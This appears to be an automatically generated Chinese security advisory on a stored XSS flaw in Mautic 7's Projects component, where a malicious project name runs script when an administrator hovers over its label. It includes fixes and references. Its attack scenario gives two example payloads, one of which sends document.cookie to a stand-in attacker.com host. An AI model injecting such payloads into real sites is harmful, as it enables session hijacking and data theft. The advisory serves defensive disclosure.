📋 漏洞概述

Mautic 7 Projects组件存在存储型XSS漏洞，管理员悬停项目标签时触发恶意脚本，可导致后台操作或数据泄露。

📋 基础信息

🔬 漏洞根因

Mautic 7 Projects组件在管理后台的详细视图（如活动、邮件、表单）中渲染项目标签和弹出框时，未对用户可控的项目名称进行充分的输出编码或HTML净化。攻击者可将恶意脚本作为项目名称注入，该名称经后端存储后未经过滤地嵌入前端页面，导致浏览器执行任意JavaScript。推测：项目名称输入验证过滤不严，且输出时未采用安全的上下文感知编码。

🎯 攻击场景

1. 前提：攻击者拥有Mautic 7中创建或编辑项目的权限（通常为低权限管理员或专门分配了项目权限的用户）。 2. 攻击者创建一个新项目，将项目名称设置为恶意XSS载荷，例如：<img src=x onerror=alert(document.cookie)> 或 <svg/onload=fetch('//attacker.com/steal?c='+document.cookie)>。 3. 将该恶意项目关联到某个实体（如广告系列、邮件或表单），或等待现有实体被关联到此项目。 4. 攻击者诱导具有更高管理权限的用户访问该实体的管理详情页。 5. 当管理员移动鼠标悬停在项目标签或弹窗上时，恶意脚本在管理员浏览器会话中自动执行，攻击者借此窃取会话Cookie、执行敏感操作或篡改系统配置。

💥 漏洞影响

成功利用该漏洞可在目标管理员的浏览器上下文中执行任意JavaScript代码，实现会话劫持、敏感数据窃取（如配置、用户数据）、以管理员身份执行操（如创建管理员账号、修改系统设置、投放恶意内容），从而完全破坏Mautic应用的机密性和完整性。

🛡️ 修复建议

1. 立即升级Mautic至7.1.2或更高版本，该版本已修复项目名称的渲染净化问题。 2. 在升级前，临时严格限制项目创建/编辑权限，仅授予完全可信的管理用户。 3. 在应用层增加输出编码与CSP（内容安全策略）缓解XSS，并审计现有项目名称中是否有可疑脚本内容。

📎 参考链接

• https://nvd.nist.gov/vuln/detail/CVE-2026-9809
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9809
• 原始来源（GitHub-Advisory）

🚨 威胁评估

⚠️ 本文由漏洞情报系统自动生成，仅供安全研究与防御参考。生成时间: 2026-08-03 02:06 | 来源: GitHub-Advisory